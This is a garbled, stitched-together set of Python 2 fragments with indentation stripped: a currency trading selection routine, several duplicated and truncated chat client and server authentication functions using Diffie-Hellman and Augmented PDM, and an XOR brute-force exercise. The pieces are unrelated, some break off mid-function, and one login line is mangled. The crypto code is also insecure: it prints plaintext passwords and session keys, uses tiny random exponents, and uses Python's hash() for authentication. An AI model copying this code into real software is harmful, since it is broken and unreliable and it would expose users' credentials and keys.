ccyData.append(kutGetCcyData(ccy, apiDict, riskDfs))
cl.parallelRun(ccyData)
#####
sbList = []
for i in range(len(ccys)):
paramSave('sb', ccys[i], ccyData[i].sb)
paramSave('yld', ccys[i], ccyData[i].yld)
sbList.append(ccyData[i].sb)
###
sbRanks = list(scipy.stats.rankdata(sbList, method='ordinal'))
for i in range(len(sbRanks)):
sbRanks[i] = len(sbRanks) - sbRanks[i] + 1
###
chosenCcyData=None
for i in range(len(ccys)):
j = sbRanks.index(i + 1)
adjNotional = notional
if ccyData[j].ccy in AUTO_DICT['NOTIONAL_MULT'].keys(): adjNotional *= AUTO_DICT['NOTIONAL_MULT'][ccyData[j].ccy]
if isBuild:
ccyData[j].chosen = chooseBuild(ccyData[j].mvDict)
isOk = isGT('sb',ccyData[j].ccy,NCONFIRMS,(AUTO_DICT['SB_SHIFT']+20)/10000) and isGT('yld',ccyData[j].ccy,NCONFIRMS,AUTO_DICT['YIELD_BORDER'])
if exch=='kut':
isOk = isOk and isSimBuildOk(adjNotional, batchSize, ccyData[j])
else:
ccyData[j].chosen = chooseUnwind(ccyData[j].mvDict, adjNotional * batchSize)
isOk = isLT('sb', ccyData[j].ccy, NCONFIRMS, AUTO_DICT['SB_SHIFT'] / 10000) and isLT('yld', ccyData[j].ccy, NCONFIRMS, AUTO_DICT['YIELD_BORDER']) and \
isSimUnwindOk(exch, adjNotional, batchSize, ccyData[j])
if isOk:
chosenCcyData = ccyData[j]
break
return chosenCcyData, adjNotional
def receive_peer_messages(self):
"""
Reads messages from socket
:return: data read
"""
try:
msg, addr = self.sock.recvfrom(ChatClient.MSG_LEN)
if self.peers.has_key(addr):
peer = self.peers.get(addr)
response = CryptoLib.decryptUsingSymetricKey(peer.get_shared_key(),
peer.get_initialization_vector(), msg)
response = response.split(":")
if response[0] == "PEER_CONTRIBUTION":
peer_contribution = response[1]
if response[2] is None:
print "Error: didn't receive IV"
else:
peer.set_initialization_vector(response[2])
shared_key = pow(peer_contribution, peer.get_client_b(), self.peerPrime)
peer.set_shared_key(shared_key)
challenge = CryptoLib.generateRandomKey(16)
msg = CryptoLib.encyptUsingSymmetricKey(peer.get_shared_key(),
peer.get_initialization_vector(), challenge)
self.send_message(msg, peer.get_address()[0], peer.get_address()[1])
else:
print "Error: unknown message sent!!!"
elif addr == (self.serverAddr, self.port):
response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, msg)
response = response.split(":")
if response[0] == "DISCONNECTED":
print " Server Disconnected us... Good bye!"
sys.exit(0)
except socket.timeout, e:
#print "Thread Error: ", e
msg = None
def main():
ans = "Now that the party is jumping\n"
inputFile = "assets/Set1/inputC4.txt"
inputArr = bytearray()
key = 0
score = 0
val = ''
topScore = 0
res = ''
#Read in the file line by line
for line in open(inputFile, 'r'):
inputArr = bytearray.fromhex(line.rstrip())
(key,score,val) = CryptoLib.xorBruteForce1(inputArr)
#Keep track of the best result
if(score > topScore):
topScore = score
res = val
print(res)
CryptoLib.validate(res, ans)
def peer_response(self, key, ticket, peer_username):
# Step 1: Decrypt and split the ticket to get the information of the client
ret = False
ticket = CryptoLib.decryptUsingSymetricKey(key, self.sessionID, ticket)
ticket = ticket.split(":")
peer_address = ticket[0]
peer_public_key = ticket[1]
peer = Peer.Peer(peer_username, peer_address, peer_public_key)
# Step 2: Generate and send contribution
b = CryptoLib.generatePublicPrivateKeys(32)
msg = pow(2, b, self.peerPrime)
msg = CryptoLib.encryptUsingPublicKey(peer_public_key, msg)
if not self.send_message(msg, peer_address[0], peer_address[1]):
return ret
# Step 3: Recieve peer contribution and iv and unpack it
peer_contribution = self.receive_response()
peer_contribution = CryptoLib.decryptUsingPrivateKey(self.clientPrivateKey, peer_contribution)
peer_contribution = peer_contribution.split(":")
peer_session_id = peer_contribution[1]
peer_contribution = peer_contribution[0]
# Construct shared key
shared_key = pow(peer_contribution, b, self.peerPrime)
# Step 4: Challenge Response (Two way authentication) - user sends challenge, client increments and sends
# back response which is again incremented and sent back to user. All of this is done using the symmetric
# key encryption with the shared key.
challenge = random.randrange(1, 100000)
challenge = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, challenge)
if not self.send_message(challenge, peer_address[0], peer_address[1]):
return ret
response = self.receive_response()
response = CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, response)
# If authentication is successful, add the peer to list of connected peers and send back response
if response == challenge + 1:
response += 1
response = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, response)
if not self.send_message(response, peer_address[0], peer_address[1]):
return ret
peer.set_initialization_vector(peer_session_id)
peer.set_shared_key(shared_key)
self.peers[peer_address] = peer
return True
return False
def login(self):
while self.count != 0:
self.count -= 1
self.username = raw_input("Please enter your username: "******"Please enter your password: "******"password: %s, pwdHash: %s " % (self.password, self.pwdHash)
self.isAuthenticated = self.authenticate_me(self.pwdHash)
if self.isAuthenticated is True:
print "===============================\n" \
" Welcome {}! Happy Chatting!!! \n".format(self.username), \
"===============================\n"
break
else:
print " Error!! username or password is invalid, please try again\n"
if self.count == 0:
print " Exceeded number of trials...Good bye!"
sys.exit(-1)
else:
return self.isAuthenticated
def handleClientMessages(self, msg, knownClient, addr):
if self.DBG is True:print " message received: '%s'" % msg
msgContents = msg.split(":")
if msgContents[0] == "AUTH":
if knownClient is not None:
print "client has already been Authenticated, ignore message..."
else:
self.challengeAnswer, challenge, firstFew = self.challengeResponse()
response = str(challenge) + ":" + str(firstFew)
self.sendMessage(response, addr)
elif msgContents[0] == "CONTRIBUTION":
if int(msgContents[1]) == self.challengeAnswer:
if self.DBG is True: print "solved challenge!!!"
for existingClients in self.clients.values():
if existingClients.get_name() == msgContents[2]:
print "client already exists, removing old client..."
msg = "DISCONNECTED:"
msg = CryptoLib.encyptUsingSymmetricKey(existingClients.get_session_key(),
existingClients.get_initialization_vector(),
msg)
self.sendMessage(msg, existingClients.get_address())
self.clients.pop(existingClients.get_address())
# create and add new client to list
client = Client.User(msgContents[2], addr)
self.clients[addr] = client
#**************************************************
# Start authentication procedure (Augmented PDM)
#**************************************************
clientContribution = msgContents[3]
b = CryptoLib.generateRandomKey(16)
# retrieve the safe prime for the user
primeTag = 'P' + (self.clients[addr]).get_name()
try:
p = ChatServer.config.getint('SectionTwo', primeTag)
except Exception, e:
print "couldn't get prime...: ", e
self.clients.pop(addr)
return
# generate server contribution (2^b mod p) to send to server
serverContribution = pow(ChatServer.generator, int(b.encode('hex'), 16), p)
# retrieve the password hash for the user
pwdHashTag = 'W' + (self.clients[addr]).get_name()
# 2^W mod p
try:
pwdHashExp = ChatServer.config.getint('SectionTwo', pwdHashTag)
except Exception, e:
print "couldn't get pwd hash...: ", e
self.clients.pop(addr)
return
#print "2^W mod p for client, pwdHashTag:%s ==> pwdHashExp:%s" % (pwdHashTag, pwdHashExp)
# 2^ab mod p
sharedKey1 = CryptoLib.generateSecretKey(int(clientContribution),
int(b.encode('hex'), 16), p)
# 2^bW mod p
sharedKey2 = CryptoLib.generateSecretKey(pwdHashExp, int(b.encode('hex'), 16), p)
sessionKey = (str(sharedKey1) + str(sharedKey2))[0:16]
#print "Server: sharedKey1: %s, sharedKey2: %s, sessionKey: %s" % (sharedKey1,
# sharedKey2, sessionKey)
# HASH(2^ab mod p, 2^bW modp)
sessionKeyHash = CryptoLib.generateKeyHash(sessionKey)
if self.clients.get(addr) is not None:
self.clients.get(addr).set_session_key_and_hash(sessionKey, sessionKeyHash)
iv = CryptoLib.generateRandomKey(8).encode('hex')
self.clients.get(addr).set_initialization_vector(iv)
response = str(serverContribution) + ":" + sessionKeyHash + ":" + iv
if self.DBG: print "====== sending: ", response
self.sendMessage(response, addr)
return
def authenticateMe(self, pwdHash):
print "authenticate with chat server and set up session key"
ret = False
if self.serverPublicKey is not None:
# step 1: send authentication message
msg = "authenticate me"
if self.sendMessage(msg, self.serverAddr, self.port) is False:
return ret
# step 2: receive challenge and starting number
servermsg = self.receiveMessage()
challenge_starting = servermsg.split(":")
challenge = challenge_starting[0]
starting_num = challenge_starting[1]
# step 3: handle challenge and generate response as well as
response = self.solvechallenge(challenge, starting_num)
msg = response
if self.sendMessage(msg, self.serverAddr, self.port) is False:
return ret
# Start authentication procedure (Augmented PDM)
a = random.randrange(1, 100)
# retrieve the safe prime for the user
p = genPrime.genp(self.username, self.password)
# send 2^a modp to server
msg = pow(2, a) % p
if self.sendMessage(msg, self.serverAddr, self.port) is False:
return ret
b = self.receiveMessage()
# TODO: get W for client
W = pwdHash
# HASH(2^ab modp, 2^bW modp)
hash_msg_client = hash(str((pow(2, (a*b)) % p)) + ":" + str((pow(2, (b*W)) % p)))
msg = "send hash"
if self.sendMessage(msg, self.serverAddr, self.port) is False:
return ret
hash_msg_server = self.receiveMessage()
if hash_msg_client == hash_msg_server:
ret = True
# End of authentication with server.
# Diffie Hellman contribution
# TODO: handle challenge received and generate response
clientContribution = CryptoLib.generateDHContribution(ChatClient.generator,
ChatClient.prime)
# step 4: encrypt client contribution and send response
clientCipher = CryptoLib.encryptUsingPublicKey(self.serverPublicKey,
clientContribution)
msg = "Response:todo:%s:%s" % (self.username, clientCipher)
if self.sendMessage(msg, self.serverAddr, self.port) is False:
return ret
# step 5: receive server contribution and hash
serverContribution = self.receiveMessage()
# step 6: TODO: calculate session key and hash
# step 7: send server client's public key
ret = True
return ret
def authenticate_peer(self, username):
ret = False
# choose a random iv
# send server the username of the client we want to chat with
msg = "CONP:" + username
# step 1: Request Server for the tickets
msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg)
if not self.send_message(msg, self.serverAddr, self.port):
return ret
# Step 2: receive the combined ticket from the server and split it into two parts
combined_ticket = self.receive_response()
combined_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, combined_ticket)
if combined_ticket == "unknown client requested":
print combined_ticket
return False
combined_ticket = combined_ticket.split(",")
if combined_ticket is None:
print "Error!!! Didn't receive ticket from server"
return ret
combined_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID,
combined_ticket).split(",")
user_ticket = combined_ticket[0]
peer_ticket = combined_ticket[1]
# decrypt the token for this client and unpack it.
# Each ticket should contain the address, port and public key of the client concat using ,'s
user_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, user_ticket)
user_ticket = user_ticket.split(":")
peer_address = user_ticket[0]
peer_tmp_shared_key = user_ticket[1]
if user_ticket[2] != username:
print "Error!!! wrong peer received!!!"
return ret
peer_tmp_iv = user_ticket[3]
# create peer object
peer = Peer.Peer(username, peer_address)
# Step 3: message to talk to peer encrypted with key given by the server
# message to peer contains peer's ticket
msg = "REQUEST_PEER_CONNECTION:" + self.username + ":" + peer_ticket
msg = CryptoLib.encyptUsingSymmetricKey(peer_tmp_shared_key, peer_tmp_iv, msg)
if not self.send_message(msg, peer_address[0], peer_address[1]):
return ret
# Step 4: Receive peer's contribution for DH key
response = self.receive_response()
if response is None:
print "Error!!! Didn't receive contribution from peer: ", username
return ret
peer_contribution = CryptoLib.decryptUsingSymetricKey(peer_tmp_shared_key, peer_tmp_iv, response)
# Step 5: Generate and send contribution for DH key as well as the initialization vector
a = CryptoLib.generateRandomKey(32)
peer_session_id = CryptoLib.generateRandomKey(16)
client_contribution = pow(self.peerGenerator, a, self.peerPrime)
msg = "PEER_CONTRIBUTION:" + str(client_contribution) + ":" + peer_session_id
msg = CryptoLib.encyptUsingSymmetricKey(peer_tmp_shared_key, peer_tmp_iv, msg)
if not self.send_message(msg, peer_address[0], peer_address[1]):
return ret
# Now construct the shared key and set iv and shared key to peer object
shared_key = pow(peer_contribution, a, self.peerPrime)
# Step 6: Challenge response (Two way authentication) - user receives challenge, user increments and sends
# back response which is again incremented and sent back to user. All of this is done using the symmetric
# key encryption with the shared key.
challenge = self.receive_response()
if challenge is None:
print "Error!!! Didn't receive challenge from peer"
return ret
challenge = int(CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, challenge))
challenge += 1
msg = "PEER_CHALLENGE:" + challenge
msg = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, msg)
if not self.send_message(msg, peer_address[0], peer_address[1]):
return ret
response = self.receive_response()
if response is None:
print "Error!!! Didn't receive response from peer"
return ret
response = CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, response)
# If authentication is successful, add the peer to list of connected peers
if response == challenge + 1:
peer.set_initialization_vector(peer_session_id)
peer.set_shared_key(shared_key)
peer.set_authenticated_flag(True)
self.peers[username] = peer
return True
return False
# HASH(2^ab mod p, 2^bW modp)
sessionKeyHash = CryptoLib.generateKeyHash(sessionKey)
if self.clients.get(addr) is not None:
self.clients.get(addr).set_session_key_and_hash(sessionKey, sessionKeyHash)
iv = CryptoLib.generateRandomKey(8).encode('hex')
self.clients.get(addr).set_initialization_vector(iv)
response = str(serverContribution) + ":" + sessionKeyHash + ":" + iv
if self.DBG: print "====== sending: ", response
self.sendMessage(response, addr)
return
else:
print "Invalid client!!!"
elif msgContents[0] == "DISCONNECTING":
msg = "DISCONNECTED:"
msg = CryptoLib.encyptUsingSymmetricKey(self.clients[addr].get_session_key(),
self.clients[addr].get_initialization_vector(), msg)
self.sendMessage(msg, addr)
self.clients.pop(addr)
elif msgContents[0] == "VALIDATE":
if knownClient is not None and knownClient.get_session_key_hash() == msgContents[1]:
knownClient.set_public_key(msgContents[3])
msgContents[2] = int(msgContents[2]) +1
response = "ACKNOWLEDGE:" + str(msgContents[2])
response = CryptoLib.encyptUsingSymmetricKey(knownClient.get_session_key(),
knownClient.get_initialization_vector(),
response)
self.sendMessage(response, knownClient.get_address())
# client is fully authenticated
knownClient.set_authenticated = True
else:
def authenticate_me(self, pwdHash):
#print "authenticate with chat server and set up session key"
ret = False
if self.serverPublicKey is not None:
# step 1: send authentication message
msg = "AUTH:"
if not self.send_message(msg, self.serverAddr, self.port):
return ret
# step 2: receive challenge and starting number
serverResponse = self.receive_response()
if(serverResponse is None): return ret
challengeAndStartingNum = serverResponse.split(":")
challenge = int(challengeAndStartingNum[0],16)
startingNum = int(challengeAndStartingNum[1])
#**************************************************
# Start authentication procedure (Augmented PDM)
#**************************************************
# step 3: solve challenge and send APDM contribution
challenge_response = self.solve_challenge(challenge, startingNum)
a = CryptoLib.generateRandomKey(16)
# retrieve the safe prime for the user
p = genPrime.genp(self.username, self.password)
# step 4: generate client contribution (2^a mod p) and send challenge response,
# client user name and contribution to server Note: no need to encrypt because eavesdropper
# cannot compute 2^W mod p
client_contribution = pow(ChatClient.generator, int(a.encode('hex'), 16), p)
msg = "CONTRIBUTION:" + str(challenge_response) + ":" + self.username + ":" + str(client_contribution)
#msg = CryptoLib.encryptUsingPublicKey(self.serverPublicKey, msg)
if not self.send_message(msg, self.serverAddr, self.port):
return ret
# step 5: receive server contribution and shared key hash
serverResponse = self.receive_response()
if(serverResponse is None):
print "failed to receive response from server"
return ret
serverContributionAndHash = serverResponse.split(":")
serverContribution = serverContributionAndHash[0]
serverSessionKeyHash = serverContributionAndHash[1]
# step 6: calculate session key and hash
W = pwdHash
# 2^ab mod p
sharedKey1 = CryptoLib.generateSecretKey(int(serverContribution),
int(a.encode('hex'), 16), p)
# 2^bW mod p
sharedKey2 = CryptoLib.generateSecretKey(int(serverContribution), int(W, 16), p)
#print "===== W: ", W
sessionKey = (str(sharedKey1) + str(sharedKey2))[0:16]
if self.DBG:
print "sharedKey1: %s, sharedKey2: %s, sessionKey: %s, len: %d" % \
(sharedKey1, sharedKey2, sessionKey, len(sessionKey))
# HASH(2^ab mod p, 2^bW modp)
sessionKeyHash = CryptoLib.generateKeyHash(sessionKey)
if(serverSessionKeyHash == sessionKeyHash):
self.sessionKey = sessionKey
self.sessionID = serverContributionAndHash[2]
if self.DBG:
print"====== session keys match!! sessionID %s, len: %d " % \
(self.sessionID, len(self.sessionID))
# step 7: send hash of encrypted session key and public key to server
self.clientPrivateKey, self.clientPublicKey = CryptoLib.generatePublicPrivateKeys()
validateServer = int(CryptoLib.generateRandomKey(16).encode("hex"), 16)
#msg = "VALIDATE:" + sessionKeyHash + ":" + self.clientPublicKey + ":" + validateServer
msg = "VALIDATE:" + sessionKeyHash + ":" + str(validateServer) + ":" + self.clientPublicKey
msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID,
msg)
if not self.send_message(msg, self.serverAddr, self.port):
return ret
# server signals that client has been fully authenticated
response = self.receive_response()
if response is None:
print "Error!!! didn't receive response from server"
return ret
response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, response)
response = response.split(":")
if self.DBG is True:
print "validateServer: %s, serverResponse: %s" % (str(validateServer),
response[1])
if response[0] == "ACKNOWLEDGE" and \
int(validateServer + 1 == int(response[1])):
ret = True
# End of authentication with server.
return ret
